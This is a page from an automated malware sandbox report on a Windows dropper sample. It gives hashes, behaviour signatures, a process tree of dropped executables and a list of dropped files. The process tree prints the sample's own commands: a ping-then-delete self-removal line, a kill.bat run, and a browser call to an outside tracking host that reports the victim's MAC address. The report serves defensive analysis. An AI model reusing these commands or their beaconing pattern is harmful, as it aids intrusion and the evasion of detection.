Overview

overview

7

Static

static

3

6e1552e43e...18.exe

windows7-x64

7

6e1552e43e...18.exe

windows10-2004-x64

7

Analysis

  • max time kernel
    142s
  • max time network
    145s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23-10-2024 09:08

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    6e1552e43e9973359bc48ad13cc23e75_JaffaCakes118.exe

  • Size

    543KB

  • MD5

    6e1552e43e9973359bc48ad13cc23e75

  • SHA1

    b1e6284d6ce6f002feb55e02bac70146a335496c

  • SHA256

    321206bd7a96f72a34cdcd2b018e4d6978287017efc60ec254715dda7befe181

  • SHA512

    08cc286ef8c93d48ac1c465487d37701d9fedc520026b92e98a2e3b070dec4976d232d15cf967f57e947b932bfa3312f5b6717a36e4935991afb4e0a49eaffb8

  • SSDEEP

    12288:pgnJX2//HNYbQ54qt4Hag1qBOVs/72IBZwjc5Vp8wJhaz/2DmFtmgNyEqTbN:OnJGHHJmHagYBOiDJwjtwJo4mFUrp

Score
7/10
defense_evasiondiscoveryupxvmprotect

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 3 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 9 IoCs
  • VMProtect packed file 4 IoCs

    Detects executables packed with VMProtect commercial packer.

    vmprotect
  • Indicator Removal: File Deletion 1 TTPs

    Adversaries may delete files left behind by the actions of their intrusion activity.

    defense_evasion
  • Drops file in System32 directory 2 IoCs
  • UPX packed file 4 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Drops file in Windows directory 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 15 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

    discovery
  • Modifies Internet Explorer settings 1 TTPs 39 IoCs
    adwarespyware
  • Modifies registry class 64 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 12 IoCs
  • Suspicious use of WriteProcessMemory 44 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\6e1552e43e9973359bc48ad13cc23e75_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\6e1552e43e9973359bc48ad13cc23e75_JaffaCakes118.exe"
    1⤵
    • Checks computer location settings
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:3048
    • C:\Users\Admin\Local Settings\Temp\5.exe
      "C:\Users\Admin\Local Settings\Temp\5.exe"
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4264
      • C:\Windows\temp\syccom\q1222211.exe
        "C:\Windows\temp\syccom\q1222211.exe"
        3⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:3932
        • C:\Windows\temp\syccom\Source.exe
          C:\Windows\temp\syccom\Source.exe
          4⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          • Suspicious use of SetWindowsHookEx
          PID:1060
    • C:\Users\Admin\Local Settings\Temp\ie.exe
      "C:\Users\Admin\Local Settings\Temp\ie.exe"
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • Drops file in Windows directory
      • System Location Discovery: System Language Discovery
      • Modifies registry class
      • Suspicious use of WriteProcessMemory
      PID:1924
      • C:\Windows\TAEKMAN.exe
        "C:\Windows\TAEKMAN.exe"
        3⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:1052
      • C:\Windows\SysWOW64\cmd.exe
        cmd /c del "C:\Users\Admin\Local Settings\Temp\ie.exe"
        3⤵
        • System Location Discovery: System Language Discovery
        PID:3200
    • C:\Users\Admin\Local Settings\Temp\146.exe
      "C:\Users\Admin\Local Settings\Temp\146.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • System Location Discovery: System Language Discovery
      PID:3128
    • C:\Users\Admin\Local Settings\Temp\si.exe
      "C:\Users\Admin\Local Settings\Temp\si.exe"
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      PID:3208
    • C:\Users\Admin\Local Settings\Temp\zm.exe
      "C:\Users\Admin\Local Settings\Temp\zm.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in Windows directory
      • System Location Discovery: System Language Discovery
      • Modifies registry class
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:4728
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Local Settings\Temp\kill.bat""
        3⤵
        • System Location Discovery: System Language Discovery
        PID:2608
    • C:\Users\Admin\Local Settings\Temp\tj.exe
      "C:\Users\Admin\Local Settings\Temp\tj.exe"
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:3628
      • C:\Program Files\Internet Explorer\IEXPLORE.EXE
        "C:\Program Files\Internet Explorer\IEXPLORE.EXE" http://tj.lele444.com/tongji/g.asp?mac=E2:62:22:BA:F6:A3&id=admin
        3⤵
        • Modifies Internet Explorer settings
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:4984
        • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
          "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:4984 CREDAT:17410 /prefetch:2
          4⤵
          • System Location Discovery: System Language Discovery
          • Modifies Internet Explorer settings
          • Suspicious use of SetWindowsHookEx
          PID:1336
      • C:\Windows\SysWOW64\cmd.exe
        cmd /c ping 127.0.0.1 -n 3 && del "C:\Users\Admin\Local Settings\Temp\tj.exe"
        3⤵
        • System Location Discovery: System Language Discovery
        • System Network Configuration Discovery: Internet Connection Discovery
        • Suspicious use of WriteProcessMemory
        PID:4896
        • C:\Windows\SysWOW64\PING.EXE
          ping 127.0.0.1 -n 3
          4⤵
          • System Location Discovery: System Language Discovery
          • System Network Configuration Discovery: Internet Connection Discovery
          • Runs ping.exe
          PID:2428

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776
    Filesize

    471B

    MD5

    7397bc535c3fdecb6c04cae2713a2439

    SHA1

    4b147507f647ff16c8c98d402d9879f265e6e934

    SHA256

    1d9f5b2f5e87877344701a5ed6e9a9ab49ad47c72183893cf5a3dfc89ffaf075

    SHA512

    4fc311a683e25d5e1336aa382101f6eed214928a2bfa14a6bd3a149b44e089dd241dd06c755a5c1d8c8b2563bd04e0254ce26ecc306e25d7ff22223f61f50245

    Download Submit

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776
    Filesize

    404B

    MD5

    e39e6121e7d4c8a77f6acc9354f604d6

    SHA1

    27a3766530fb04cc89ee1deb19e9779a62a189dd

    SHA256

    e45367895c0a0a2258d37a2c9c471c266f9980cf155cce21647b1fe6a8190a0c

    SHA512

    09a8822d237bd0243b61cd0b5ab451461ac07fed24ccfc77fb850027da64be223899dc26894c93cb4ba666c531e7cecea887fa66a2781f4d709fde63cc703b12

    Download Submit

  • C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\VersionManager\ver56A.tmp
    Filesize

    15KB

    MD5

    1a545d0052b581fbb2ab4c52133846bc

    SHA1

    62f3266a9b9925cd6d98658b92adec673cbe3dd3

    SHA256

    557472aeaebf4c1c800b9df14c190f66d62cbabb011300dbedde2dcddd27a6c1

    SHA512

    bd326d111589d87cd6d019378ec725ac9ac7ad4c36f22453941f7d52f90b747ede4783a83dfff6cae1b3bb46690ad49cffa77f2afda019b22863ac485b406e8d

    Download Submit

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\YB8IB6GH\suggestions[1].en-US
    Filesize

    17KB

    MD5

    5a34cb996293fde2cb7a4ac89587393a

    SHA1

    3c96c993500690d1a77873cd62bc639b3a10653f

    SHA256

    c6a5377cbc07eece33790cfc70572e12c7a48ad8296be25c0cc805a1f384dbad

    SHA512

    e1b7d0107733f81937415104e70f68b1be6fd0ca65dccf4ff72637943d44278d3a77f704aedff59d2dbc0d56a609b2590c8ec0dd6bc48ab30f1dad0c07a0a3ee

    Download Submit

  • C:\Users\Admin\AppData\Local\Temp\146.exe
    Filesize

    218KB

    MD5

    ba926a2e63110eeef92f9d4fa6ee8366

    SHA1

    5b9c4f5099c69a95a63eef8273d947178f9da48b

    SHA256

    56c3d5d9ba29166a712c013ecb0edc4c94847323ca57a29d40492993f5efb2a0

    SHA512

    fbc7afa1b11672792aab61d2d419fc8d6206d84e9f5328d4da8a0028377f0095767bf7c54eb7246989401a8d23768c937516611fae512b285453320e859d8c4f

    Download Submit

  • C:\Users\Admin\AppData\Local\Temp\5.exe
    Filesize

    183KB

    MD5

    5587b9705faea003ae2695bf0999d16c

    SHA1

    56dad20d4f75bc3fbd2f248e7f177f47a69e477f

    SHA256

    f43cf1d0bbee74af7208439f55f0516550ca5d6992f39fa77fb0ba5eace212e9

    SHA512

    36b2f58578c0e7498e8c685926dd0e01503659e46cf8183f8cd38a4b265472f57dbe287918c39153015f2e2d47640226404aa8ad0b296cbcf1f6ba99b5454704

    Download Submit

  • C:\Users\Admin\AppData\Local\Temp\ie.exe
    Filesize

    70KB

    MD5

    b99fb8dcd8c910814bbea8518e0400f4

    SHA1

    5f5d5a36c0fe18ae7e6d2fe10aeb125ec37bcb33

    SHA256

    2b285c7d5889795efab9e1371cf1fcbf2d9722a88bc1ac95edfa4d798aecaddb

    SHA512

    2a7ea71f57e7c4fad413467460a966dda4e45ed5271a8a777437d25e318274a8a84ad25dbd8246fe70c1e11affb05c48e69d8e1c4e0ba8a64ad66631f373c452

    Download Submit

  • C:\Users\Admin\AppData\Local\Temp\si.exe
    Filesize

    49KB

    MD5

    f390eee8d1e2093894c5b149ea63bc52

    SHA1

    7ef1ac5ba347d8ffba26e323db1a90d66676f2e0

    SHA256

    3e01b95f3b5c49c03297407d186ad69377a5a2f643fb7dfa87bb0b29bfea292f

    SHA512

    e5a170f8875497d7082db68008eb5bdc9c3adf9efeabcfc690a3af1d60ae86f6bd114cc8e0d9c5c2ce54ae806daed38442d262344bd51aea422635191f612a61

    Download Submit

  • C:\Users\Admin\AppData\Local\Temp\tj.exe
    Filesize

    7KB

    MD5

    c943f490b04e6fbd8bc9de3f4e5d2830

    SHA1

    ca01699a582f189c5c40cc5cd7871fc025f8d775

    SHA256

    6ef783826b33fea4669acd6e7248c7883537562f2f140e29a96c3abe2f6455fa

    SHA512

    5aa29547762f71fa5bc37cd8332b48b4b4f76e7bf1c85fb2fa6aac79e404866cd2b9dde33da3c84da77b986bced6eeb5a1042b85ee4c1e8199867fa95482592b

    Download Submit

  • C:\Users\Admin\AppData\Local\Temp\zm.exe
    Filesize

    60KB

    MD5

    542480c776a3deddfae1a9709bdcd540

    SHA1

    9882500938452ad2736e7144a1483568a1d31c59

    SHA256

    4b28b76821044eddf98234ef1825f0d7b15c257c6f1c589734ab5dfc9a5509a1

    SHA512

    d9738dfda4a547f5331c72db02f27c0e28bc8df458e7672a8147013f161574c1382ace0d484a88748db2c0036fe5f4c0daa6c0a58eed528ce80f939a05e82c62

    Download Submit

  • C:\Users\Admin\Favorites\ÌÔ±¦¹ºÎï.url
    Filesize

    94B

    MD5

    f7d49f5167b6d829a54146ef3287abf3

    SHA1

    828c178af49b0a144a036530cd6199ef146e37f8

    SHA256

    71d170b56b07c7a47e65fdddd24dc17e40f8fc144e2fa4fa6f303388bdc7513c

    SHA512

    3a1e14f86a7427234b2e97a3e24a0bbd81a83a008d5b190e8a661e1d06c5037da3867cae2a541e4c4c28e7f740bbbf5f520f3d6feb29a8a240208ab2fb097df2

    Download Submit

  • C:\Users\Admin\Local Settings\Temp\kill.bat
    Filesize

    132B

    MD5

    1e7b4e1c312b95d33757152ef2b858dd

    SHA1

    3f8683cc9bd354fff509548bf3519c8edbc02f55

    SHA256

    ff0d4134f546d7e50f252fea80e24570cf110e597ef21059611eb8271dadc9a3

    SHA512

    506e3e1fd991286238b3df1f58233fffe5950b10464ea54da2b18261adaa810c5f934f2fabdeea10fb69b168bf5e332917edece621d3a92b97f16a2c8f8070b4

    Download Submit

  • C:\Windows\TAEKMAN.exe
    Filesize

    8KB

    MD5

    f445fc920b03a0d552dd6aed23b64a4e

    SHA1

    abd84d31130047efcbc1fe81b771e7f29f67eec0

    SHA256

    fde2e50cf160786220a1689e374cd36fccb1e398349971609f5113ab8092388b

    SHA512

    b7a879233469c190f640886032cacec44edea5ebdd60850199d7131320b3b0e189195036a91a2aa3452b4e4295dfac7b20f5d67d6117dd4cc939f545e2879466

    Download Submit

  • C:\Windows\Temp\syccom\q1222211.exe
    Filesize

    20KB

    MD5

    294b280708d5fe53acdf7899e33a38a6

    SHA1

    c906e73493e38bda6733dcf11bcf404836e99a4f

    SHA256

    6f975bccfb0513dcc702be4e6e5977c2cd1fc4879d6f89fa2731182e3739bd39

    SHA512

    b067935b17a286336cdf70b37569cc737a7adab83b8b33f28c1d759eee34ec6a96689a4fa68adb6bb53a2b96d5c1075df19763def09c12d6d9c5f21618857cf1

    Download Submit

  • C:\Windows\temp\syccom\Source.exe
    Filesize

    96KB

    MD5

    42c3027137bf43d8eb32805817ffca5d

    SHA1

    545bc4a38caae604753d77af167e2dd8e3e5b76a

    SHA256

    f7ad3492db50a528c184d0e2b5ca8b521060deefd6a90d821d9e24010d52fea7

    SHA512

    5f3156fed967707c8f2b3da6ea81cf7ec5952deb285d6bac7a14cae8247bdf2b4e96edce32bea6d5b3b4f7e86d1b5be05f2c6eb46fd56f180826d7f1177e2d15

    Download Submit

  • memory/1052-87-0x0000000000400000-0x000000000040A000-memory.dmp

    Filesize

    40KB

    Download

  • memory/1052-123-0x0000000000400000-0x000000000040A000-memory.dmp

    Filesize

    40KB

    Download

  • memory/1060-115-0x0000000000400000-0x0000000000432000-memory.dmp

    Filesize

    200KB

    Download

  • memory/1060-112-0x0000000000400000-0x0000000000432000-memory.dmp

    Filesize

    200KB

    Download

  • memory/1060-134-0x0000000000400000-0x0000000000432000-memory.dmp

    Filesize

    200KB

    Download

  • memory/1924-33-0x0000000000400000-0x0000000000446000-memory.dmp

    Filesize

    280KB

    Download

  • memory/1924-114-0x0000000000400000-0x0000000000446000-memory.dmp

    Filesize

    280KB

    Download

  • memory/1924-32-0x0000000000400000-0x0000000000446000-memory.dmp

    Filesize

    280KB

    Download

  • memory/1924-40-0x0000000000680000-0x0000000000681000-memory.dmp

    Filesize

    4KB

    Download

  • memory/1924-39-0x0000000000400000-0x0000000000446000-memory.dmp

    Filesize

    280KB

    Download

  • memory/3048-100-0x0000000000400000-0x0000000000420000-memory.dmp

    Filesize

    128KB

    Download

  • memory/3208-132-0x0000000000400000-0x000000000041F000-memory.dmp

    Filesize

    124KB

    Download

  • memory/3208-73-0x0000000000400000-0x000000000041F000-memory.dmp

    Filesize

    124KB

    Download

  • memory/3628-126-0x0000000000400000-0x0000000000406000-memory.dmp

    Filesize

    24KB

    Download

  • memory/3628-99-0x0000000000400000-0x0000000000406000-memory.dmp

    Filesize

    24KB

    Download

  • memory/4264-82-0x0000000000400000-0x0000000000421000-memory.dmp

    Filesize

    132KB

    Download